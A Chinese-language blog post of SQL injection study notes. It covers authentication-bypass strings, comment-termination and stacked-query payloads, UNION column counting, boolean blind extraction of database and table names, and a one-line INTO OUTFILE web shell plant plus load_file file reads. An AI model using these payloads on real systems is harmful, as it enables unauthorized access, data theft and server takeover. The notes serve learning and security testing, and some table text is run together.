Isabellae

(¦3[▓▓]

SQLi(0x01)
/  

SQLi(0x01)

POST 注入是不用再编码的,GET方法在URL中进行编码

URL最大长度为2048字节

SQL注入产生过程

  1. 转义字符处理不当

SQL数据库将单引号(’)解析成数据与代码的分界,也就是说单引号包裹的是数据,外面的是代码。如果在URL或Web页面中输入单引号,可以快速识别是否存在注入

单引号并不是唯一的转义字符,比如Oracle中,空格(||),逗号(,),点号(.),(*/),双引号(")

  1. 类型处理不当

处理数字数据时候,不需要用引号闭合,否则数字数据会被当作字符串处理

  1. 查询集处理不当

  2. 错误处理不当

web服务器在呈现请求的web源时,如果发现错误会返回状态码500,但有时候会302重定向到一些固定页面

’+’是URI的保留字,需要进行编码,encode为:%2B

内联注入

是指向查询注入一些SQL代码后,原来的查询仍然会全部执行

  1. 字符串内联注入
  • 假设这是一个身份验证的表单

username

password


假设该查询为以下格式:


SELECT *

FROM Admin

WHERE username = '[username]' AND passwd = 'passwd';

向username输入一个单引号,单击提交后,若返回下列错误:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line1

这说明这个表单存在SQL注入,上面的输入构造的SQL语句为:


SELECT *

FROM Admin

WHERE username = ''' AND passwd = '';

现在构造一条SQL语句,以绕过验证;在username中输入’OR ‘1’=’1,password保持空,输入构造的SQL语句为:


SELECT *

FROM Admin

WHERE username = '' OR '1'='1' AND passwd = '';

但是这条语句不会返回所有字段,因为AND比OR优先级高,所以需要修改一下


SELECT *

FROM Admin

WHERE (username = '') OR ('1'='1') OR ('1'='1' AND passwd = '');

修改后的SQL语句保持WHERE子句条件永真,

如果想要返回username=administrator的记录行,SQL语句为:


SELECT *

FROM Admin

WHERE username = 'administrator' AND 1 = 1 OR '1'='1' AND passwd = '';

字符串内联注入的特征值

测试字符串变种预期结果
触发错误。如果成功,数据库返回错误信息
1' OR '1'='11') OR ('1'='1永真条件,如果成功,将返回表中所有行
value' OR '1'='2value') OR ('1'='2空条件,如果成功,将会返回和原来语句一样的结果
1' AND '1'='21') AND ('1'='2永假条件,如果成功,将不返回表中所有行
1' OR 'ab'='a'+'b1') OR ('ab'='a'+'bSQL Server字符串连接。如果成功,将返回与永真条件相同的信息
1' OR 'ab'='a' 'b1') OR ('ab'='a' 'bMySQL字符串连接。如果成功,将返回与永真条件相同的信息
1' OR 'ab'='a'||'b1') OR ('ab'='a'||'bOracle字符串连接。如果成功,将返回与永真条件相同的信息
  1. 数字内联注入

注入数字时不用加单引号

数字内联注入特征值

测试字符串变种预期结果
触发错误。如果成功,数据库返回错误信息
1+13-1如果成功,将返回与操作结果相同的值
value+0 如果成功,将返回与操作结果相同的值
1 OR 1=11) OR (1=1永真条件。如果成功,将返回表中所有行
value OR 1=2value) OR (1=2空条件,如果成功,将会返回和原来语句一样的结果
1 AND 1=21) AND (1=2永假条件,如果成功,将不返回表中所有行
1 OR ‘ab’=‘a’+’b1) OR (‘ab’=‘a’+’bSQL Server字符串连接。如果成功,将返回与永真条件相同的信息
1 OR ‘ab’=‘a’ ’b1) OR (‘ab’=‘a’ ’bMySQL字符串连接。如果成功,将返回与永真条件相同的信息
1 OR 'ab'='a'||'b1) OR ('ab'='a'||'bOracle字符串连接。如果成功,将返回与永真条件相同的信息

终止式注入

注入SQL代码时,通过将原查询语句的剩余部分注释掉,从而成功结束原来的查询语句

  1. 数据库注释
数据库注释描述
SQL Server,Oracle,PostgreSQL–(双连字符)用于单行注释
SQL Server,Oracle,PostgreSQL /* */用于多行注释
MYSQL–(双连字符)用于单行注释,第二个连字符后面需要加一个空格或控制字符(制表符、换行符)
MYSQL#用于单行注释
MYSQL/* */用于多行注释
  • 防止SQL注入的技术有:从最开始位置检测,清除用户输入中的所有空格,截短输入的值。可以使用多行注释来绕过这些限制(避免使用空格)

假设一个请求:http://localhost/main.php?id=2/*hello*/

如果该请求正常返回且得到与id=2相同的结果,即数据库忽略了注释内容,说明可能存在SQL注入

  1. 使用注释终止SQL语句

username

password


该查询为以下格式:


SELECT *

FROM Admin

WHERE username = '[username]' AND passwd = 'passwd';

  • 只向username字段注入代码并终止该语句,注入:' OR 1=1;--;构造的SQL语句为:

SELECT *

FROM Admin

WHERE username = '' OR 1=1;-- AND passwd ='';

由于’1=1’为永真条件,该语句返回Admin表中的所有行,而且注释掉后半部分,有时候无法使用使用(–),因为可能对他进行了过滤,也可能在注释过程中产生了错误,这时使用多行注释(/* */)来替换(–)

  • 使用多行注释

对username字段和password字段分别注入admin'/**/',构造的SQL语句为:


SELECT *

FROM Admin

WHERE username = 'admin'/* AND passwd = '*/''

等同于:SELECT * FROM Admin WHERE username = 'admin''';

数据库的连接运算符

数据库实例
SQL Server‘a’+‘b’=‘ab’
MySQL‘a’ ‘b’=‘ab’
Oracle和PostgreSQL'a'||'b'='ab'

可以用以上几种方法辨别应用为哪种数据库

  1. 原始请求:http://localhost/main.php?user=root --

  2. SQL Server http://localhost/main.php?user=ro' + 'ot --

  3. MYSQL http://localhost/main.php?user=ro' 'ot --

  4. Oracle和PostgreSQL http://localhost/main.php?user=ro'||'ot --

使用数据库注释时常用的特征值

测试字符串变种预期结果
admin'--admin')--通过返回数据库中的admin行来绕过验证
admin'#admin')#MYSQL通过返回数据库中的admin行来绕过验证
1--1)--注释掉剩下的查询,希望能够清除可注入参数后面WHERE子句指定的过滤
1 OR 1=1--1) OR 1=1--注入一个数字参数,返回所有行
' OR '1'='1'--') OR '1'='1'--注入一个字符串参数,返回所有行
-1 AND 1=2---1) AND 1=2注入一个数字参数,不返回任何行
' AND '1'='2'--') AND '1'='2'--注入一个字符串参数,不返回任何行
1/*注释*/ 将注入注释掉。如果成功,将不会对请求产生任何影响。有助于识别SQL注入
  1. 执行多条SQL语句

如果终止了一条SQL语句,就可以创建一条新的没有限制的SQL语句

用于注入多条SQL语句的特征值

测试字符串变种预期结果
';[SQL Statement];--');[SQL Statement];--注入一个字符串参数,执行多条语句
';[SQL Statement];#');[SQL Statement];#MYSQL注入一个字符串参数,执行多条语句
;[SQL Statement];--);[SQL Statement];--注入一个数值参数,执行多条语句
;[SQL Statement];#);[SQL Statement];#MYSQL注入一个数值参数,执行多条语句

4. 延迟注入

当在进行SQL盲注的过程中,经常会不确定是否存在漏洞,有时候Web应用不会返回任何错误,无法检索任何数据,这时候为了识别漏洞,需要向数据库注入时间延迟,并且检查服务器端响应是否也产生了延迟

获取数据库flag

查询各种数据库的版本

数据库查询语句
MS SQL ServerSELECT @@VERSION
MySQLSELECT version() , SELECT @@VERSION
OracleSELECT banner FROM v$version SELECT banner FROM v$version WHERE rownum=1
PostgreSQLSELECT version()

使用UNION语句

满足的条件:

  1. 两个查询返回的列数必须相同

  2. 两个查询对应列的数据类型相同或兼容

如果不满足这两个条件,数据库则会返回错误,根据返回语句的不同,我们可以分辨其数据库类型

可以用ORDER BY子句+数字参数,例如ORDER BY 6来测试列数

  • 尝试ORDER BY 6,若不返回错误,说明列数>6

  • 尝试ORDER BY 14,若返回错误,说明8<列数<14

以此类推该二分法,即可推断出列数。

选用ORDER BY 6子句的原因是因为他在服务器日志留下的痕迹更小

不同数据库将任意数据转换为字符串

数据库语句
MS SQL ServerSELECT CAST(‘111’ AS varchar)
MySQLSELECT CAST(‘111’ AS char)
OracleSELECT CAST(111 AS varchar) FROM dual
PostgreSQLSELECT CAST(111 AS text)

PostgreSQL允许非字符串变量连接字符串(‘||’),只要有一个变量是字符串即可

导出数据库

SELECT '<?php eval($_POST[cmd])?>' into outfile '物理地址'

读文件

load_file(0x23213213213) //支持16进制

select load_file(c:\a.txt);

(#)HTML中为锚点

在SQL注入中使用注释符’#‘会被认为是锚点,需要进行URL编码’%23’

布尔注入

  • 函数

mid(str,1,3) 字符串截取

ORD(s) 转换为ASCII码

length(s) 字节数

version() 数据库版本

database() 数据库名

user() 查看当前用户

  1. 布尔注入得到数据库名称长度: username=1' or length(database())>1 # &passwd='22222';,username=1' or length(database())>2 # &passwd='22222',username=1' or length(database())>3 # &passwd='22222'……以此类推得到数据库名称长度

  2. 布尔注入进行字符串截取确认每一个字符: username=1' or ORD(mid(database(),1,1))>1 # &passwd='22222';, username=1' or ORD(mid(database(),1,1))>2 # &passwd='22222';, username=1' or ORD(mid(database(),1,1))>3 # &passwd='22222';……以此类推确认第一个字符; username=1' or ORD(mid(database(),2,1))>1 # &passwd='22222';……确认第二个字符……最终得到数据库名称

  3. 获取表的总数: select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database();

  4. 获取表名长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit a,b;

  • 获取第一个表的长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;

  • 获取第二个表的长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1;

  1. 获取表内容: select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database();

  2. 获取字段总数: select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=表名;

  3. 获取字段长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=表名 limit a,b;

  • 获取第一个字段长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=表名 limit 0,1;

  • 获取第二个字段长度: select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=表名 limit 1,1;

  1. 获取字段的内容: select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=表名 limit a,b;

  2. 获取字段内容的长度: select length(concat(st1,';',st2)) from 表名 limit a,b;

评论